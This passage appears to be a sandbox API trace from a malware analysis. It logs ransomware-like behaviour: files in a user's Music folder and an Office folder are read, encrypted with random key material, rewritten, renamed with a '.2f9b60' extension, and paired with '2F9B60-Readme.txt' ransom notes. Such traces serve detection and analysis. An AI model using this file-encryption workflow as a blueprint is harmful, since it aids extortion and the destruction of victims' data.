_Dest="05") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf706, _Format="%c%c" | out: _Dest="04") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf708, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.426] sprintf (in: _Dest=0x1cddf70a, _Format="%c%c" | out: _Dest="f8") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf70c, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf70e, _Format="%c%c" | out: _Dest="c6") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf710, _Format="%c%c" | out: _Dest="f0") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf712, _Format="%c%c" | out: _Dest="45") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf714, _Format="%c%c" | out: _Dest="3b") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf716, _Format="%c%c" | out: _Dest="2c") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf718, _Format="%c%c" | out: _Dest="e0") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf71a, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf71c, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf71e, _Format="%c%c" | out: _Dest="fa") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf720, _Format="%c%c" | out: _Dest="8e") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf722, _Format="%c%c" | out: _Dest="41") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf724, _Format="%c%c" | out: _Dest="28") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf726, _Format="%c%c" | out: _Dest="61") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf728, _Format="%c%c" | out: _Dest="01") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf72a, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf72c, _Format="%c%c" | out: _Dest="e0") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf72e, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf730, _Format="%c%c" | out: _Dest="6a") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf732, _Format="%c%c" | out: _Dest="7f") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf734, _Format="%c%c" | out: _Dest="9b") returned 2 [0235.427] sprintf (in: _Dest=0x1cddf736, _Format="%c%c" | out: _Dest="c8") returned 2 [0235.427] RtlInitAnsiString (in: DestinationString=0x30fefd48, SourceString="c5cf702b0dea8f7dd8db4d1b03d8d0c0c3f605044ff8a8c6f0453b2ce0b92dfa8e412861012ee07d6a7f9bc8" | out: DestinationString="c5cf702b0dea8f7dd8db4d1b03d8d0c0c3f605044ff8a8c6f0453b2ce0b92dfa8e412861012ee07d6a7f9bc8") [0235.427] RtlAnsiStringToUnicodeString (in: DestinationString=0x30fefd18, SourceString="c5cf702b0dea8f7dd8db4d1b03d8d0c0c3f605044ff8a8c6f0453b2ce0b92dfa8e412861012ee07d6a7f9bc8", AllocateDestinationString=1 | out: DestinationString="c5cf702b0dea8f7dd8db4d1b03d8d0c0c3f605044ff8a8c6f0453b2ce0b92dfa8e412861012ee07d6a7f9bc8") returned 0x0 [0235.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4312b0e0 [0235.428] wcscat (in: _Dest=0x431f5d20, _Source="c5cf702b0dea8f7dd8db4d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\c5cf702b0dea8f7dd8db4d") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\c5cf702b0dea8f7dd8db4d" [0235.428] wcscat (in: _Dest=0x431f5d20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\c5cf702b0dea8f7dd8db4d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\c5cf702b0dea8f7dd8db4d.2f9b60" [0235.428] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\c5cf702b0dea8f7dd8db4d.2f9b60", NtPathName=0x30fefcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\c5cf702b0dea8f7dd8db4d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x119a60 [0237.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119a60) returned 1 [0237.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43078af0) returned 1 [0237.939] NtQueryInformationFile (in: FileHandle=0x25e0, IoStatusBlock=0x30fefd58, FileInformation=0x30fefd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30fefd58, FileInformation=0x30fefd68) returned 0x0 [0237.940] NtSetInformationFile (FileHandle=0x25e0, IoStatusBlock=0x30fefd58, FileInformation=0x30fefd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f5d20) returned 1 [0240.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312b0e0) returned 1 [0240.180] FlushFileBuffers (hFile=0x25e0) returned 1 [0240.182] CloseHandle (hObject=0x25e0) returned 1 [0242.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x43196cc0 [0242.521] wcscpy (in: _Dest=0x43196cc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" [0242.521] wcscat (in: _Dest=0x43196cc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt" [0242.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\2f9b60-readme.txt")) returned 0x20 [0242.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43196cc0) returned 1 [0242.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505910) returned 1 Thread: id = 3856 os_tid = 0xd6c [0227.920] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1tip2DTw1r.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1tip2dtw1r.m4a")) returned 0x20 [0227.920] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1tip2DTw1r.m4a", dwFileAttributes=0x20) returned 1 [0227.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1tip2DTw1r.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1tip2dtw1r.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2828 [0227.921] GetFileSizeEx (in: hFile=0x2828, lpFileSize=0x1f92f980 | out: lpFileSize=0x1f92f980*=76635) returned 1 [0227.921] SetFilePointerEx (in: hFile=0x2828, liDistanceToMove=0x12b57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.922] ReadFile (in: hFile=0x2828, lpBuffer=0x1f92f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f92f948, lpOverlapped=0x0 | out: lpBuffer=0x1f92f900*, lpNumberOfBytesRead=0x1f92f948*=0x4, lpOverlapped=0x0) returned 1 [0227.923] SetFilePointerEx (in: hFile=0x2828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bc80 [0227.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bc20 [0227.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b7a0 [0227.923] NtQuerySystemTime (in: CurrentTime=0x1f92f840 | out: CurrentTime=0x1f92f840*=132462178319170000) returned 0x0 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x78385196 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x3d939d6 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x4aa40723 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x13744cfe [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x66291d9f [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x7fb5a0b1 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x57780eeb [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x786ca689 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x14cdc195 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x31854798 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x6c4480a3 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x373eb4a6 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x37f066f3 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x6620dc8a [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x68e51649 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x4c0df207 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0xc0a4327 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x176493d5 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x173d156b [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x540493e2 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x41a65598 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x3b8b75d5 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x1c366501 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x4c09823a [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x18ab76ce [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x54ea0ce1 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x4b2724a9 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x1377ae33 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x77c387a2 [0227.923] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x2754d7a5 [0227.924] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x73f5cc7e [0227.924] RtlRandomEx (in: Seed=0x1f92f830 | out: Seed=0x1f92f830) returned 0x2eab887d [0227.931] SetFilePointerEx (in: hFile=0x2828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.931] ReadFile (in: hFile=0x2828, lpBuffer=0x4277fa20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f92f8a0, lpOverlapped=0x0 | out: lpBuffer=0x4277fa20*, lpNumberOfBytesRead=0x1f92f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0227.931] SetFilePointerEx (in: hFile=0x2828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0227.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0227.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bc80 [0227.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bc80) returned 1 [0227.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4278ea60 [0227.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bc80 [0227.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b7a0 [0227.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b7a0) returned 1 [0227.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0227.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0227.936] WriteFile (in: hFile=0x2828, lpBuffer=0x4278ea60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f92f8a0, lpOverlapped=0x0 | out: lpBuffer=0x4278ea60*, lpNumberOfBytesWritten=0x1f92f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0232.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4278ea60) returned 1 [0232.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4277fa20) returned 1 [0232.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f770 [0232.274] SetFilePointerEx (in: hFile=0x2828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.275] WriteFile (in: hFile=0x2828, lpBuffer=0x167820*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x1f92f950, lpOverlapped=0x0 | out: lpBuffer=0x167820*, lpNumberOfBytesWritten=0x1f92f950*=0x10e, lpOverlapped=0x0) returned 1 [0235.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0235.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a80 [0235.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a80) returned 1 [0235.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1ced6a80 [0235.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b60 [0235.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ba0 [0235.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ba0) returned 1 [0235.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0235.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce61970 [0235.976] sprintf (in: _Dest=0x1ce61970, _Format="%c%c" | out: _Dest="ac") returned 2 [0235.976] sprintf (in: _Dest=0x1ce61972, _Format="%c%c" | out: _Dest="90") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61974, _Format="%c%c" | out: _Dest="d3") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61976, _Format="%c%c" | out: _Dest="ac") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61978, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.977] sprintf (in: _Dest=0x1ce6197a, _Format="%c%c" | out: _Dest="cc") returned 2 [0235.977] sprintf (in: _Dest=0x1ce6197c, _Format="%c%c" | out: _Dest="01") returned 2 [0235.977] sprintf (in: _Dest=0x1ce6197e, _Format="%c%c" | out: _Dest="74") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61980, _Format="%c%c" | out: _Dest="e1") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61982, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61984, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61986, _Format="%c%c" | out: _Dest="fa") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61988, _Format="%c%c" | out: _Dest="7b") returned 2 [0235.977] sprintf (in: _Dest=0x1ce6198a, _Format="%c%c" | out: _Dest="1f") returned 2 [0235.977] sprintf (in: _Dest=0x1ce6198c, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.977] sprintf (in: _Dest=0x1ce6198e, _Format="%c%c" | out: _Dest="6c") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61990, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61992, _Format="%c%c" | out: _Dest="4a") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61994, _Format="%c%c" | out: _Dest="3c") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61996, _Format="%c%c" | out: _Dest="a3") returned 2 [0235.977] sprintf (in: _Dest=0x1ce61998, _Format="%c%c" | out: _Dest="4b") returned 2 [0235.977] sprintf (in: _Dest=0x1ce6199a, _Format="%c%c" | out: _Dest="f5") returned 2 [0235.977] sprintf (in: _Dest=0x1ce6199c, _Format="%c%c" | out: _Dest="bb") returned 2 [0235.977] sprintf (in: _Dest=0x1ce6199e, _Format="%c%c" | out: _Dest="27") returned 2 [0235.977] sprintf (in: _Dest=0x1ce619a0, _Format="%c%c" | out: _Dest="96") returned 2 [0235.977] sprintf (in: _Dest=0x1ce619a2, _Format="%c%c" | out: _Dest="11") returned 2 [0235.977] sprintf (in: _Dest=0x1ce619a4, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.977] sprintf (in: _Dest=0x1ce619a6, _Format="%c%c" | out: _Dest="3b") returned 2 [0235.977] RtlInitAnsiString (in: DestinationString=0x1f92f9c8, SourceString="ac90d3acaacc0174e1cfb4fa7b1f2d6cfb4a3ca34bf5bb279611ad3b" | out: DestinationString="ac90d3acaacc0174e1cfb4fa7b1f2d6cfb4a3ca34bf5bb279611ad3b") [0235.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f92f998, SourceString="ac90d3acaacc0174e1cfb4fa7b1f2d6cfb4a3ca34bf5bb279611ad3b", AllocateDestinationString=1 | out: DestinationString="ac90d3acaacc0174e1cfb4fa7b1f2d6cfb4a3ca34bf5bb279611ad3b") returned 0x0 [0235.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869940 [0235.978] wcscat (in: _Dest=0x1ce16b30, _Source="ac90d3acaacc01" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\ac90d3acaacc01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\ac90d3acaacc01" [0235.978] wcscat (in: _Dest=0x1ce16b30, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\ac90d3acaacc01.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\ac90d3acaacc01.2f9b60" [0235.978] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\ac90d3acaacc01.2f9b60", NtPathName=0x1f92f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\ac90d3acaacc01.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205e590 [0237.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e590) returned 1 [0237.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c120d0) returned 1 [0237.383] NtQueryInformationFile (in: FileHandle=0x2828, IoStatusBlock=0x1f92f9d8, FileInformation=0x1f92f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f92f9d8, FileInformation=0x1f92f9e8) returned 0x0 [0237.383] NtSetInformationFile (FileHandle=0x2828, IoStatusBlock=0x1f92f9d8, FileInformation=0x1f92f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16b30) returned 1 [0237.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0237.385] FlushFileBuffers (hFile=0x2828) returned 1 [0238.206] CloseHandle (hObject=0x2828) returned 1 [0241.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ade40 [0241.395] wcscpy (in: _Dest=0x202ade40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" [0241.395] wcscat (in: _Dest=0x202ade40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\2F9B60-Readme.txt" [0241.395] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\2f9b60-readme.txt")) returned 0xffffffff [0242.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 3857 os_tid = 0x11ac [0227.938] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\C4mSE_pFWCuIY3rrk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\c4mse_pfwcuiy3rrk.m4a")) returned 0x20 [0227.938] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\C4mSE_pFWCuIY3rrk.m4a", dwFileAttributes=0x20) returned 1 [0227.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\C4mSE_pFWCuIY3rrk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\c4mse_pfwcuiy3rrk.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3254 [0227.939] GetFileSizeEx (in: hFile=0x3254, lpFileSize=0x3055fa00 | out: lpFileSize=0x3055fa00*=13725) returned 1 [0227.939] SetFilePointerEx (in: hFile=0x3254, liDistanceToMove=0x3599, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.939] ReadFile (in: hFile=0x3254, lpBuffer=0x3055f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3055f9c8, lpOverlapped=0x0 | out: lpBuffer=0x3055f980*, lpNumberOfBytesRead=0x3055f9c8*=0x4, lpOverlapped=0x0) returned 1 [0227.940] SetFilePointerEx (in: hFile=0x3254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b7a0 [0227.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b9e0 [0227.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb00 [0227.941] NtQuerySystemTime (in: CurrentTime=0x3055f8c0 | out: CurrentTime=0x3055f8c0*=132462178319326000) returned 0x0 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x51617388 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x4ebc64f6 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x6c819825 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x2195c02b [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x59b165ab [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x1873abd [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x4b6ca152 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x12e96d56 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x3cfd0176 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x266fcc1b [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x5d68e7b8 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x43f1a544 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x294bceb8 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x6f6e6503 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x2679f706 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x7f80aabc [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x54ce167a [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x2f4d961e [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x37d6965b [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x546904c4 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x2eb75395 [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x2807751c [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x5df6eb1f [0227.941] RtlRandomEx (in: Seed=0x3055f8b0 | out: Seed=0x3055f8b0) returned 0x65278fd9 [0227.941] RtlRandomEx 